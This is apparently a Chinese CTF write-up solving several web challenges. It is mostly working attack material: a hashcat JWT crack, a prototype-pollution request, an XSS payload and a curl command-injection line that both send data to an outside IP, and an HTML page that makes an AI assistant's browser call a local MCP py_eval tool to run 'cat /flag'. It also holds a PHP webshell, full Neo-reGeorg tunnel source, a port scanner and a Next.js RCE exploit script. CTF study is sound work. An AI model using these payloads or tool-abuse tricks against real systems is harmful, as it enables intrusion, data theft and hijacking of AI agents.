魔理沙的魔法目录
抓包发现/record路径和/check路径
POST /record HTTP/1.1Host: forward.vidar.club:31238CVE-2025-30208Accept-Language: zh-CN,zh;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36Authorization: aa3fc526-2efe-4855-bbb8-383ac96d6702Origin: http://forward.vidar.club:31238Content-Type: application/jsonAccept: */*Referer: http://forward.vidar.club:31238/Accept-Encoding: gzip, deflateContent-Length: 11
{"time":6000}直接修改到超过规定事件后发送请求,就能拿到flag
Vidarshop
随便注册一个账号,登录后发现发token了,是jwt token
用hashcat爆破一下
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MjQzMzI3N30.3An1kFpOTGfpQm_xt1yoXElP2zBjQsqOhF2DjI3Mv4o ./rockyou.txt #这里是你字典的地址得到key是111
伪造好jwt后发现我们的role还是user,这代表还有其他方式验证用户,这时抓包发现一个特殊的请求头uid

这里我没有得出这个uid的构造方法,ai推导出来了
通过注册多个用户,分析UID生成规则:
- ctftest999 -> 32062051920999
- testuser888 -> 20519202119518888
发现规律:每个字母转换为其在字母表中的位置(a=1, b=2, …, z=26),数字保持不变。
因此admin的UID为:
1413914(a=1, d=4, m=13, i=9, n=14)
回显中得到这个是一个基于flask框架的web,而且/api/update路径下又刚刚好有原型链模板
这就不得不让我想到刚学会的flask原型链污染了
payload:
POST /api/update HTTP/1.1Host: forward.vidar.club:31913Content-Length: 51uid: 1413914User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzcyNDM1MzIwfQ.6HF8gsU5VV1_9K466ESIfQBNdJY338EREvw1yqoK_2EContent-Type: application/jsonAccept: */*Origin: http://forward.vidar.club:31913Referer: http://forward.vidar.club:31913/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close
{"__init__": {"__globals__": {"balance": 2000000}}}直接修改balance获取足够的钱,然后买下flag
博丽神社的绘马挂
灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏
但是灵梦在整理这些绘马的时候不太用心,出现了一些问题…而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密
打开环境类似于论坛,很像啊,简直就是aurora新生赛原题,同款XSS
我用的是出网外带的方法
payload:
<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>{new Image().src='http://81.71.18.95:8000/?leak='+btoa(unescape(encodeURIComponent(t)))})">

这个是官方payload:
<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>{fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'ARCHIVE:'+btoa(unescape(encodeURIComponent(t))),is_private:false})})})">MyMonitor
内存池污染
当普通用户在/api/user/cmd路径下发送一个缺失cmd头的请求时,会把你的args直接拼接到/api/admin/cmd
路径下让admin执行(大概是这个意思)
于是可以得到payload
{ "args": "; curl http://81.71.18.95:8000/$(cat /flag)"}
(flag还在感叹号后面加个0,长得那么ex,还得我交了几次都没过
My Little Assistant
给了部分源码附件
from fastapi import FastAPI, Requestfrom fastapi.middleware.cors import CORSMiddlewareimport json
app = FastAPI()app.add_middleware( CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"],)
async def py_eval(code: str): try: local_vars = {} exec(code, {}, local_vars) return {"result": str(local_vars), "status": "success"} except Exception as e: return {"error": str(e), "status": "failed"}
def check_url(url: str) -> bool: if (url.startswith("http") == False): return True #验证是不是http头的网址 return False
async def py_request(url: str): if (check_url(url)): return {"error": "Unsafe URL"} from playwright.async_api import async_playwright try: async with async_playwright() as p: browser = await p.chromium.launch( headless=True, args=["--no-sandbox", "--disable-dev-shm-usage", "--disable-web-security"] )
context = await browser.new_context() page = await context.new_page()
response = await page.goto(url, timeout = 10000, wait_until = "networkidle") content = await page.content()
result = { "status_code": response.status if response else None, "content": content[:300] }
await browser.close()
return result
except Exception as e: return {"error": str(e)}
TOOLS = {"py_eval": py_eval, "py_request": py_request}
@app.post("/mcp")async def mcp_handler(request: Request): data = await request.json() params = data.get("params", {}) name = params.get("name") args = params.get("arguments", {})
if name in TOOLS: result = await TOOLS[name](**args) return { "jsonrpc": "2.0", "id": data.get("id"), "result": {"content": [{"type": "text", "text": json.dumps(result)}]} } return {"error": "Tool not found"}
if __name__ == "__main__": import uvicorn uvicorn.run(app, host="0.0.0.0", port=8001)就拿这道题练习源码审计了
fastapi是python底下的web框架,和flask一样
async def py_eval(code: str): try: local_vars = {} exec(code, {}, local_vars) return {"result": str(local_vars), "status": "success"} except Exception as e: return {"error": str(e), "status": "failed"}定义了一个函数,接收code,打包并执行最后将执行结果返还,可以说是关键函数,可以利用它来执行命令
ctfer应该对exec()函数保持警觉,这个函数可以把字符串当作命令去执行,在反序列化中很常见
local_vars:当 code 这段字符串被当成代码跑完之后,代码里面定义的任何变量、计算的任何结果,都会被自动塞进刚才准备好的那个“空篮子” local_vars 里面。这样我们额外执行的命令也会被封装
@app.post("/mcp")async def mcp_handler(request: Request): data = await request.json() params = data.get("params", {}) name = params.get("name") args = params.get("arguments", {})
if name in TOOLS: result = await TOOLS[name](**args) return { "jsonrpc": "2.0", "id": data.get("id"), "result": {"content": [{"type": "text", "text": json.dumps(result)}]} } return {"error": "Tool not found"}看看这个路径对应的函数
将request的body内容装入data中,同时判断这个body中是否有params,argugment,有的话提取出来
检查name是否在TOOLS中,如果在就执行下面的操作……调用对应函数再返还一些东西?
所以这道题我们就需要利用这个ai助手自带的浏览器来调用py_eval函数执行我们的命令,最后封装进local_vars里打包给我们
payload如下:
<!DOCTYPE html><html><body><h1>hello</h1><script> const pyCode = "import os; f = os.popen('cat /flag').read()";
const payload = { "params": { "name": "py_eval", "arguments": { "code": pyCode } } };
fetch("http://127.0.0.1:8001/mcp", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) }) .then(response => response.json()) .then(data => { // 解析返回结果。 // data.result.content[0].text 是一个 JSON 字符串,类似 "{'result': \"{'f': 'flag{...}'}\", ...}" // 我们直接把它全部显示在页面上 document.body.innerText = "FLAG_RESULT: " + JSON.stringify(data); }) .catch(error => { document.body.innerText = "Error: " + error; });</script></body></html>将这个test.py放到我们的vps上再在vps上开个http服务
python3 -m http.server 80之后让ai访问它

easyuu
文件上传
抓包发现一个/api/list_dir路径

发现一个zip文件,尝试去下载它

路径穿越但是需要url编码
下载出来是项目源码,开始源码审计

看不懂喵,丢给ai了
RCE 触发点:恶意的自动更新监听器
在
main.rs中,服务器启动了一个后台任务update_watcher(),每隔 5 秒循环一次。这个监听器会尝试执行./update/easyuu --version来检查更新:Rust
let output = Command::new("./update/easyuu").arg("--version").output().await.ok()?;如果执行该二进制文件后输出的字符串能够被解析为高于当前
CARGO_PKG_VERSION的合法语义化版本号(SemVer),程序就会用新文件替换自身并重启。利用思路: 结合这两个漏洞,我们可以上传一个自己编写的恶意可执行文件到
./update/easyuu路径覆盖原有的更新程序。服务器每 5 秒就会自动帮我们执行它一次。
在linux虚拟机上写一个C程序
#include <stdio.h>#include <stdlib.h>
int main(){ system("env > /app/uploads/env.txt")}然后执行得到二进制文件
gcc 1.c -o 1上传二进制文件,抓包时修改文件名

上传成功后它就会执行,在/uploads上映出一个env.txt
下载就能看到flag了
不知道为什么,我用burpsuite抓包就不行,换yakit就成了,和那道
mio's waf一样
--------------------------------------------------------------------分割线--------------------------------------------------------------------------------------------
找到官方wp了继续复现
baby-web?
先是一个很简单的文件上传,上传一个一句话木马
<?php @eval($_POST['cmd']); ?>之后连接蚁剑

但是没有发现flag
查看环境变量还是没有

(nobody:/var/www/html/uploads) $ ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link/ether 02:42:0a:00:00:01 brd ff:ff:ff:ff:ff:ff inet 10.0.0.1/24 brd 10.0.0.255 scope global eth0 valid_lft forever preferred_lft forever确认网段:你的当前机器(Webshell 所在机器)的 IP 确实是
10.0.0.1/24。/24子网掩码意味着这个局域网的 IP 范围是10.0.0.1到10.0.0.254。WP 里提到的10.0.0.2完全在这个网段内,它们可以直接通信。环境指纹:注意看
eth0@if8这种网卡命名后缀,这是非常典型的 Docker 容器虚拟网卡特征。这说明你目前拿下的 Web 服务大概率是跑在一个 Docker 容器里的。
接下来可以写一个端口扫描的php脚本来查找是否存在其他服务端口
<?php// 设定我们要探测的目标端口$target_port = 3000;echo "开始扫描 10.0.0.x 网段的 3000 端口...<br><br>";
// 遍历内网 IP,这里为了速度先扫 1 到 20,如果没出结果可以改成 254for ($i = 1; $i <= 20; $i++) { $ip = "10.0.0." . $i; // 使用 fsockopen 进行 TCP 连接探测,超时时间设置为 0.5 秒 $connection = @fsockopen($ip, $target_port, $errno, $errstr, 0.5);
if (is_resource($connection)) { echo "<b>[+] 发现目标主机开放端口: " . $ip . ":" . $target_port . "</b><br>"; fclose($connection); }}echo "<br>扫描完毕。";?>上传成功后直接访问
http://forward.vidar.club:32579/uploads/scan.php
发现其他服务
原本我想直接通过ssh把这个端口穿出来的,但是失败了,这个服务并没有ssh

最后只能采用ai给的办法
NONONO!!!搞半天上传都失败了,后面发现是靶机没了,八嘎!
二次尝试,一个github上开源的连接通道项目Neo-reGeorg
启动这个项目后会生成一系列通道代码,上传php代码后就可以尝试与本地连接
<?phpini_set('display_errors', 1);error_reporting(E_ALL);ini_set("allow_url_fopen", true);ini_set("allow_url_include", true);ini_set('always_populate_raw_post_data', -1);error_reporting(E_ERROR | E_PARSE);
if(version_compare(PHP_VERSION,'5.4.0','>='))@http_response_code(200);
function blv_decode($data) { $data_len = strlen($data); $info = array(); $i = 0; while ( $i < $data_len) { $d = unpack("c1b/N1l", substr($data, $i, 5)); $b = $d['b']; $l = $d['l'] - 838292908; $i += 5; $v = substr($data, $i, $l); $i += $l; $info[$b] = $v; } return $info;}
function blv_encode($info) { $data = ""; $info[0] = randstr(); $info[39] = randstr();
foreach($info as $b => $v) { $l = strlen($v) + 838292908; $data .= pack("c1N1", $b, $l); $data .= $v; } return $data;}
function randstr() { $rand = ''; $length = mt_rand(5, 20); for ($i = 0; $i < $length; $i++) { $rand .= chr(mt_rand(0, 255)); } return $rand;}
$DATA = 1;$CMD = 2;$MARK = 3;$STATUS = 4;$ERROR = 5;$IP = 6;$PORT = 7;$REDIRECTURL = 8;$FORCEREDIRECT = 9;
$en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";$de = "xk5mXYJKWBzHURQseOC78lNhnprSbawtF09VIjLgM1ivdE6GDyPqcTfu42Z+o/A3";
$post_data = file_get_contents("php://input");if (0 == 1) { $post_data = substr($post_data, 0); $post_data = substr($post_data, 0, -0);}$info = blv_decode(base64_decode(strtr($post_data, $de, $en)));$rinfo = array();
$mark = $info[$MARK];$cmd = $info[$CMD];$run = "run".$mark;$writebuf = "writebuf".$mark;$readbuf = "readbuf".$mark;
switch($cmd){ case "CONNECT": { set_time_limit(0); $target = $info[$IP]; $port = (int) $info[$PORT]; $res = fsockopen($target, $port, $errno, $errstr, 3); if ($res === false) { $rinfo[$STATUS] = 'FAIL'; $rinfo[$ERROR] = 'Failed connecting to target'; break; }
stream_set_blocking($res, false); ignore_user_abort();
@session_start(); $_SESSION[$run] = true; $_SESSION[$writebuf] = ""; $_SESSION[$readbuf] = ""; session_write_close();
while ($_SESSION[$run]) { if (empty($_SESSION[$writebuf])) { usleep(50000); }
$readBuff = ""; @session_start(); $writeBuff = $_SESSION[$writebuf]; $_SESSION[$writebuf] = ""; session_write_close(); if ($writeBuff != "") { stream_set_blocking($res, false); $i = fwrite($res, $writeBuff); if($i === false) { @session_start(); $_SESSION[$run] = false; session_write_close(); return; } } stream_set_blocking($res, false); while ($o = fgets($res, 513)) { if($o === false) { @session_start(); $_SESSION[$run] = false; session_write_close(); return; } $readBuff .= $o; if ( strlen($readBuff) > 524288 ) { break; } } if ($readBuff != ""){ @session_start(); $_SESSION[$readbuf] .= $readBuff; session_write_close(); } } fclose($res); } @header_remove('set-cookie'); break; case "DISCONNECT": { @session_start(); unset($_SESSION[$run]); unset($_SESSION[$readbuf]); unset($_SESSION[$writebuf]); session_write_close(); } break; case "READ": { @session_start(); $readBuffer = $_SESSION[$readbuf]; $_SESSION[$readbuf]=""; $running = $_SESSION[$run]; session_write_close(); if ($running) { $rinfo[$STATUS] = 'OK'; $rinfo[$DATA] = $readBuffer; header("Connection: Keep-Alive"); } else { $rinfo[$STATUS] = 'FAIL'; $rinfo[$ERROR] = 'TCP session is closed'; } } break; case "FORWARD": { @session_start(); $running = $_SESSION[$run]; session_write_close(); if(!$running){ $rinfo[$STATUS] = 'FAIL'; $rinfo[$ERROR] = 'TCP session is closed'; break; } $rawPostData = $info[$DATA]; if ($rawPostData) { @session_start(); $_SESSION[$writebuf] .= $rawPostData; session_write_close(); $rinfo[$STATUS] = 'OK'; header("Connection: Keep-Alive"); } else { $rinfo[$STATUS] = 'FAIL'; $rinfo[$ERROR] = 'POST data parse error'; } } break; default: { $sayhello = true; @session_start(); session_write_close(); }}if ( $sayhello ) { echo base64_decode(strtr("s5XEHCk5rYBrCNyVbL2DONlsnqpvNhknOIOJaXYGbTOrQhUqbL1mlhkzRN2L7JRiecTBQK8uUgl4phjGzPxEH74=", $de, $en));} else { echo strtr(base64_encode(blv_encode($rinfo)), $en, $de);}但是在这道题中文件可以上传,却无法访问运行。看看报错
Fatal error: Uncaught Error: Call to undefined function session_start() in /var/www/html/uploads/tunnel.php:196 Stack trace: #0 {main} thrown in /var/www/html/uploads/tunnel.php on line 196💀 为什么 Neo-reGeorg 彻底宣告死亡?
Neo-reGeorg(以及绝大多数传统的 PHP 代理脚本)的核心原理,是利用 PHP 的
$_SESSION来维持你的电脑和内网目标之间的 TCP 数据流状态。如果没有session_start(),它就像一个失忆的传话筒,连上一秒钟发给谁的数据都记不住,自然直接崩溃报 500。这解释了为什么你之前传各种代理都会卡死或报错。这也印证了你找到的那份 Writeup 里的一句话:“由于无法从外部直接访问内网服务,上传了一个 PHP 代理脚本,利用 PHP 的 curl 扩展作为 SSRF 跳板访问内网”。
后来发现目前尝试的方法都走不通,就继续翻找官方提供的wp
找到了另外一篇申必ai wp

于是把这个wp喂给ai,让它根据现有的所以信息总结再尝试,给出了下面这个payload
<?phperror_reporting(0);
$target = "http://10.0.0.2:3000/";$boundary = "----WebKitFormBoundaryAttackPayload";
// 1. 核心 JS Payload (执行命令并把 Base64 结果抛入 NEXT_REDIRECT)$js = "var f;try{var r=global.require||process.mainModule.require;f=r('child_process').execSync('cat /flag').toString('base64');}catch(e){f=Buffer.from('E:'+e).toString('base64');}var err=new Error();err.digest='NEXT_REDIRECT;replace;'+f;throw err;";
// 2. CVE-2025-55182 原型链污染 JSON$json = '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"' . $js . '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}';
// 3. 紧凑拼接 Multipart Body$body = "--$boundary\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n$json\r\n" . "--$boundary\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n" . "--$boundary\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n" . "--$boundary--\r\n";
// 4. cURL 极简配置与请求发送$ch = curl_init($target);curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $body, CURLOPT_HTTPHEADER => [ "Content-Type: multipart/form-data; boundary=$boundary", "Content-Length: " . strlen($body), "Next-Action: x", "Accept: text/x-component" ], CURLOPT_HEADER => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5]);
$res = curl_exec($ch);curl_close($ch);
// 5. 正则提取并纯文本输出header("Content-Type: text/plain; charset=utf-8");if (preg_match('/NEXT_REDIRECT;replace;([A-Za-z0-9+\/=]+)/', $res, $m) || preg_match('/x-action-redirect:\s*(.*?)\r/i', $res, $m)) { echo base64_decode($m[1]);} else { echo "[-] Exploit Failed. Raw Response:\n\n" . substr($res, 0, 1000);}?>ai真王朝了,官方发的wp中写了这道题的是ai,最后我复现出来还是靠ai,感觉目前通过这道题就得到下面的收获
更进一步学习了蚁剑,
还有对这种出题方式有了更新的了解,
知道并收录了一个隧道马工具
Neo-reGeorg使用指南
Neo-reGeorg 是一款经典的基于 HTTP 协议的 SOCKS5 代理隧道工具,常用于渗透测试或 CTF 中,在获取 Webshell 后打通本地与目标内网的流量。(虽然这道题没有用上,但还是总结一下
1. 生成代理服务端脚本
在本地终端运行以下命令,设置一个加密密码,并生成对应各语言的 Web 脚本:
# -k 参数指定密码python3 neoreg.py generate -k my_password执行完毕后,当前目录会生成一个 neoreg_servers 文件夹,里面包含 tunnel.php、tunnel.jsp、tunnel.aspx 等脚本。
2. 上传脚本至目标服务器
将与目标 Web 环境匹配的脚本(例如 tunnel.php)上传到目标网站的可访问目录中。
- 测试连通性:在浏览器中直接访问该文件的 URL(例如
http://target.com/uploads/tunnel.php)。如果页面显示空白或一段特定的工具提示,说明脚本解析正常;如果报 404 或 500 错误,需要检查路径或服务器环境配置。
3. 在本地建立 SOCKS5 隧道
回到本地机器,运行客户端脚本,主动连接刚才上传的 Web 文件:
# -u 指定远程脚本地址,-k 指定刚才的密码,-p 指定本地监听的 SOCKS5 端口(默认 1080)python3 neoreg.py -u http://target.com/uploads/tunnel.php -k my_password -p 1080终端输出 [+] Tunnel established 时,说明内网穿透隧道已成功建立。
4. 代理流量漫游内网
此时,本地的 127.0.0.1:1080 已经是一个通向目标内网的代理节点。你可以配合 proxychains 工具将本地命令行流量代理进内网。
编辑 proxychains 配置文件(通常是 /etc/proxychains.conf 或 /etc/proxychains4.conf),在文件最末尾添加:
socks5 127.0.0.1 1080配置完成后,在执行内网探测或攻击命令前加上 proxychains 前缀即可。例如:
# 通过隧道扫描内网 10.0.0.2 的常见端口proxychains nmap -sT -Pn -p 80,3306,3000 10.0.0.2《文文。新闻》
最后一题(jvav自动放弃,没学过捏
看了一下wp,太复杂了,感觉我暂时也学不会,也放弃了喵~
部分信息可能已经过时










